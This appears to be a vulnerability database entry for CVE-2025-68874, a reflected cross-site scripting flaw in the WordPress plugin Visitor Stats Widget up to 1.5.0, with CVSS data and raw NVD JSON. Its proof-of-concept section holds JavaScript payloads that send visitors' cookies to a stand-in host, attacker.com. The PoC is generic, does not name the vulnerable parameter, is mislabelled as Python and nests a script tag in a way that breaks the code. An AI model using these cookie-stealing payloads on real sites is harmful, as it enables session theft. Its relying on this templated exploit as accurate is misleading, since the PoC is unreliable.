Security Vulnerability Report
中文
CVE-2025-68874 CVSS 7.1 HIGH

CVE-2025-68874

Published: 2026-01-08 10:15:54
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Shahjada Visitor Stats Widget visitor-stats-widget allows Reflected XSS.This issue affects Visitor Stats Widget: from n/a through <= 1.5.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Visitor Stats Widget <= 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68874 PoC - Reflected XSS in Visitor Stats Widget --> <!-- Target: WordPress site with Visitor Stats Widget <= 1.5.0 --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript --> <!-- Basic XSS PoC --> <!-- Replace 'TARGET_URL' with the vulnerable WordPress site URL --> <!-- Example: https://example.com/?page_id=<injected_param>"--> <!-- Malicious URL construction --> <script> // Attacker-controlled domain for cookie stealing const attackerDomain = 'attacker.com'; // Construct malicious URL with XSS payload // The actual vulnerable parameter depends on plugin implementation const targetUrl = 'TARGET_URL'; const xssPayload = '<script>document.location="https://' + attackerDomain + '/steal?cookie=' + encodeURIComponent(document.cookie) + '"</script>'; const maliciousUrl = targetUrl + encodeURIComponent(xssPayload); // Display the malicious link (for demonstration) console.log('Malicious URL:', maliciousUrl); // Alternative payload using event handler const altPayload = '<img src=x onerror="fetch(\'https://' + attackerDomain + '/log?data=\'+btoa(document.cookie))">'; // Network request example (simulated) // fetch('https://' + attackerDomain + '/log?cve=' + 'CVE-2025-68874'); </script> <!-- Simple HTML PoC for manual testing --> <!-- 1. Replace TARGET_URL with the WordPress site using the vulnerable plugin 2. Identify the vulnerable parameter (often in query string) 3. Inject: ?param=<script>alert(document.domain)</script> 4. Example: https://victim.com/?s=<script>alert('XSS')</script> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68874", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:53.697", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Shahjada Visitor Stats Widget visitor-stats-widget allows Reflected XSS.This issue affects Visitor Stats Widget: from n/a through <= 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/visitor-stats-widget/vulnerability/wordpress-visitor-stats-widget-plugin-1-5-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}